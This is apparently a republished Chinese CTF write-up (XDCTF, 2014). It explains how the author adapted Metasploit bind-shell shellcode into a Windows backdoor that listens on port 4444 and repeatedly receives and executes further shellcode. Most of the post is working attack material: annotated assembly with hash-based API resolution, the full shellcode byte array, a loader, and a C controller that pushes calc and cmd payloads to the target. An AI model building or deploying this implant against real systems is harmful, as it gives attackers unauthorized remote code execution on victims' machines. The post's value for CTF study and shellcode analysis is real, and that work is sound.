知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

[XDCTF]Shellcode DIY

发布时间:2014-04-28 12:39:48作者:知识屋

国庆参加了XDCTF,被虐的相当惨,不过时间安排确实不怎么好,时间安排在前六天,先提交且通过的得分高,越往后交分数越低,偏偏还要搞在1号0:00开始,相当的操蛋的安排。另外就是这是组队赛,大家很难把假期全部贡献在比赛上,以至于很多题目都没时间做了。不过玩玩就好,参加一下总是涨了点知识,写点笔记。(这次比赛许多大牛都出来厮杀了,场面相当激烈)

溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。

首先,去Metloit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。

ShellCode的入口是这样的:


;=========================================================
; start
;=========================================================
start:
    cld
    call    kMainFun        ; 主要逻辑代码函数
;=========================================================
; 函数调用包装函数
; 传入参数为待调用函数的参数以及函数名HASH值
;=========================================================
;fnFunctionCaller proc
	assume fs:nothing
    pusha                   ; 保存所有寄存器
    mov     ebp, esp        ; 建立新栈帧
    xor     edx, edx        ; EDX寄存器清零操作
    mov     edx, fs:[edx+30h] ; PEB
    mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
    mov     edx, [edx+14h]  ; InMemoryOrderModuleList
 
loc_15:
    mov     esi, [edx+28h]  ; BaseDllName(DLL名字)
    movzx   ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段)
    xor     edi, edi        ; EDI寄存器清零
 
    ; ==== 计算DLL名字HASH值 ====
loc_1E:
    xor     eax, eax        ; EAX寄存器清零
    lodsb                   ; 取DllName第一个字符
    cmp     al, 61h ; 'a'
    jl      short loc_27    ; 小于'a'时跳转
    sub     al, 20h ; ' '   ; 转大写字母
 
loc_27:
    ror     edi, 0Dh        ; 移位
    add     edi, eax        ; 累加
    loop    loc_1E          ; 循环计算DllName哈希值
 
    push    edx
    push    edi
    mov     edx, [edx+10h]  ; DllBase Dll基地址
    mov     eax, [edx+3Ch]  ; 开始解析PE文件格式
    add     eax, edx
    mov     eax, [eax+78h]  ; 数据目录表输出表结构
    test    eax, eax
    jz      short loc_89    ; 没有输出表, 跳转到返回
    add     eax, edx
    push    eax
    mov     ecx, [eax+18h]  ; 总的导出函数个数
    mov     ebx, [eax+20h]
    add     ebx, edx
 
loc_4A:
    jecxz   short loc_88
    dec     ecx
    mov     esi, [ebx+ecx*4] ; 函数名字
    add     esi, edx
    xor     edi, edi
 
    ; ==== 计算函数名字HASH值 ====
loc_54:
    xor     eax, eax
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    cmp     al, ah
    jnz     short loc_54    ; 循环计算函数名HASH值
    add     edi, [ebp-8]    ; ==== Hash1(DllName) + Hash2(ApiName) ====
    cmp     edi, [ebp+24h]  ; 判断HASH值是否和传入的参数一致
    jnz     short loc_4A    ; 不相等继续寻找
    pop     eax
    mov     ebx, [eax+24h]
    add     ebx, edx
    mov     cx, [ebx+ecx*2]
    mov     ebx, [eax+1Ch]
    add     ebx, edx
    mov     eax, [ebx+ecx*4]
    add     eax, edx
    mov     [esp+28h-4], eax ; 保存函数的地址
    pop     ebx
    pop     ebx
    popa                    ; 对应pusha
    pop     ecx             ; 弹出上一个函数返回地址到ECX
    pop     edx             ; 弹出函数名HASH值参数
    push    ecx             ; 压入上一个函数的返回地址
    jmp     eax             ; 调用函数(刚好对应上一个函数传入的第参数)
 
loc_88:
    pop     eax
 
loc_89:
    pop     edi
    pop     edx
    mov     edx, [edx]
    jmp     short loc_15    ; 继续下一个DLL查找
;fnFunctionCaller endp
;=========================================================
    end start

 

一开始就是一条cld指令和一个call,先看一下call里面的部分代码:

 
;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

 

看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。

ShellCode Framework Analysis

ShellCode Framework Analysis

 

ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。

这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。

 
;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     eax, 190h
    sub     esp, eax    ; 分配栈空间
    push    esp
    push    eax
    push    6B8029h
    call    ebp         ; 调用WSAStartup 进行socket初始化
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    eax
    push    eax
    push    eax
    push    eax
    inc     eax
    push    eax
    inc     eax
    push    eax
    push    0E0DF0FEAh
    call    ebp         ; 调用WSASocketA创建一个socket
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     edi, eax
    xor     ebx, ebx
    push    ebx
    push    5C110002h   ; 0002-AF_INET  5C11-4444端口
    mov     esi, esp
    push    10h
    push    esi
    push    edi
    push    6737DBC2h
    call    ebp         ; 调用bind函数在4444端口进行绑定
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 分配栈空间保留相关变量
    mov     ecx, 100h
loc_alloc_stack_mem:
    push    0h
    loop    loc_alloc_stack_mem
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    ebx
    push    edi
    push    0FF38E9B7h
    call    ebp         ; 调用listen开始监听
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
loc_wait_connect:
    push    ebx         ; 保存ebx
    push    edi         ; 保存edi
 
    push    ebx
    push    ebx
    push    edi
    push    0E13BEC74h
    call    ebp         ; 调用accept等待客户端的连接请求
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov [esp+50h], eax  ; [变量]保存客户端socket
 
loc_wait_shellcode:
    ; 分配堆空间
    push    40h         ; PAGE_EXECUTE_READWRITE
    push    1000h       ; MEM_COMMIT
    push    19000h      ; 100KB
    push    0h          ; lpAddress
    push    0E553A458h
    call    ebp         ; VirtualAlloc
    mov     [esp+54h], eax  ; [变量]保存hMem
    ; 接收ShellCode内容
    push    0           ; flags
    push    18FFFh      ; len
    push    [esp+54h+8h]; buf
    push    [esp+50h+0Ch]; socket
    push    5FC8D902h
    call    ebp         ; recv 接收shellcode内容
    ; 判断是否出错
    cmp     eax, 0FFFFFFFFh ; 返回-1表示出错了
    jz      loc_over
    cmp     eax, 0h
    jnz     loc_run_shellcode   ; 接收到了数据
    ; 没有接收到任何数据,视为出错了
    ; 先回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    jmp      loc_over
    ; 创建新线程
loc_run_shellcode:
    push    0h          ; lpThreadId = NULL
    push    0h          ; dwCreationFlags = 立即执行
    push    0h          ; lpParameter = NULL
    push    [esp+54h+0Ch]; lpStartAddress = buffer
    push    0h          ; dwStackSize = 0
    push    0h          ; lpThreadAttributes = NULL
    push    0160D6838h   
    call    ebp         ; 调用CreateThread执行ShellCode
    mov     [esp+58h], eax; [变量]保存hThread
    ; 等待线程结束
    push    0FFFFFFFFh  ; INFINITE
    push    [esp+58h+4h]; hThread
    push    601D8708h   
    call    ebp         ; WaitForSingleObject
    ; 回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    ; 等待下一个发送内容
    jmp     loc_wait_shellcode  ; 等待下一段ShellCode
 
loc_over:               ; 准备下一轮连接
    pop     edi         ; 恢复edi
    pop     ebx         ; 恢复ebx
    jmp     loc_wait_connect    ; 等待下一个连接
 
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    0
    push    6F721347h
    call    ebp         ; 调用ExitProcess退出进程
kMainFun endp

 

这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。

写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为xE8x89x00x00x00。

最后使用内联汇编进行测试:

 
#include <stdio.h>
#include <.h>
 
#pragma comment(linker, "/subsystem:windows")
 
unsigned char kshell[] =
"xFCxE8x89x00x00x00x60x8BxECx33xD2x64"
"x8Bx52x30x8Bx52x0Cx8Bx52x14x8Bx72x28"
"x0FxB7x4Ax26x33xFFx33xC0xACx3Cx61x7C"
"x02x2Cx20xC1xCFx0Dx03xF8xE2xF0x52x57"
"x8Bx52x10x8Bx42x3Cx03xC2x8Bx40x78x85"
"xC0x74x4Ax03xC2x50x8Bx48x18x8Bx58x20"
"x03xDAxE3x3Cx49x8Bx34x8Bx03xF2x33xFF"
"x33xC0xACxC1xCFx0Dx03xF8x38xE0x75xF4"
"x03x7DxF8x3Bx7Dx24x75xE2x58x8Bx58x24"
"x03xDAx66x8Bx0Cx4Bx8Bx58x1Cx03xDAx8B"
"x04x8Bx03xC2x89x44x24x24x5Bx5Bx61x59"
"x5Ax51xFFxE0x58x5Fx5Ax8Bx12xEBx86"
"x5Dx68x33x32x00x00x68x77x73x32x5Fx54"
"x68x4Cx77x26x07xFFxD5xB8x90x01x00x00"
"x2BxE0x54x50x68x29x80x6Bx00xFFxD5x50"
"x50x50x50x40x50x40x50x68xEAx0FxDFxE0"
"xFFxD5x8BxF8x33xDBx53x68x02x00x11x5C"
"x8BxF4x6Ax10x56x57x68xC2xDBx37x67xFF"
"xD5xB9x00x01x00x00x6Ax00xE2xFCx53x57"
"x68xB7xE9x38xFFxFFxD5x53x57x53x53x57"
"x68x74xECx3BxE1xFFxD5x89x44x24x50x6A"
"x40x68x00x10x00x00x68x00x90x01x00x6A"
"x00x68x58xA4x53xE5xFFxD5x89x44x24x54"
"x6Ax00x68xFFx8Fx01x00xFFx74x24x5CxFF"
"x74x24x5Cx68x02xD9xC8x5FxFFxD5x83xF8"
"xFFx74x5Cx83xF8x00x75x17x68x00x40x00"
"x00x68x00x90x01x00xFFx74x24x5Cx68x0B"
"x2Fx0Fx30xFFxD5xEBx40x6Ax00x6Ax00x6A"
"x00xFFx74x24x60x6Ax00x6Ax00x68x38x68"
"x0Dx16xFFxD5x89x44x24x58x6AxFFxFFx74"
"x24x5Cx68x08x87x1Dx60xFFxD5x68x00x40"
"x00x00x68x00x90x01x00xFFx74x24x5Cx68"
"x0Bx2Fx0Fx30xFFxD5xE9x70xFFxFFxFFx5F"
"x5BxE9x59xFFxFFxFF";
 
int WINAPI WinMain(
    HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nShowCmd )
{
    DWORD dwTemp = 0;
    VirtualProtect(
        kshell, 
        sizeof(kshell), 
        PAGE_EXECUTE_READWRITE, 
        &dwTemp);
 
    __asm
    {
        lea eax, kshell
        push eax
        ret
    }
 
    return 0;
}

 

现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。

 
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
 
#pragma comment(linker, "/subsystem:console")
 
// 因为通过创建新线程执行Shellcode
// 所以Shellcode的退出方式最好是退出线程
// 以保证还可以继续接收和执行其他shellcode
unsigned char shellcode_calc[] = 
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2"
"xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85"
"xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3"
"x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d"
"x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58"
"x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b"
"x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff"
"xe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00"
"x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0a"
"x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75"
"x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63"
"x2ex65x78x65x00";
 
unsigned char shellcode_cmd[] = 
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2"
"xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85"
"xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3"
"x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d"
"x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58"
"x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b"
"x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff"
"xe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00"
"x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0a"
"x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75"
"x05xbbx47x13x72x6fx6ax00x53xffxd5x63x6dx64x2e"
"x65x78x65x00";
 
int main(int argc, char **argv)
{
    WSADATA wsad;
    SOCKET sHost;
    SOCKADDR_IN servAddr;
    int retVal;
 
    if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
    {
        printf("初始化套接字失败!n");
        return -1;
    }
 
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
    if(INVALID_SOCKET == sHost)
    {
        printf("创建套接字失败!n");
        WSACleanup();
        return  -1;
    }
 
    char szip[64] = {0};
    printf("请输入被控端IP地址:");
    scanf("%s", szip);
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(szip);
    servAddr.sin_port = htons(4444);
    int nServAddlen = sizeof(servAddr);
 
    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));    
    if(SOCKET_ERROR == retVal)
    {
        printf("连接服务器失败!n");    
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    //向服务器发送数据
    printf("n准备发送弹出计算器的Shellcoden");
    retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    printf("按Enter发送下一段Shellcoden");
    system("pause");
 
    //向服务器发送数据
    printf("n准备发送弹出CMD的Shellcoden");
    retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    printf("测试完毕,准备退出!n");
    system("pause");
 
    closesocket(sHost);
    WSACleanup();
 
    return 0;
}

 

最终效果截图:

XDCTF ShellCode

ShellCode控制端与被控端测试 

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜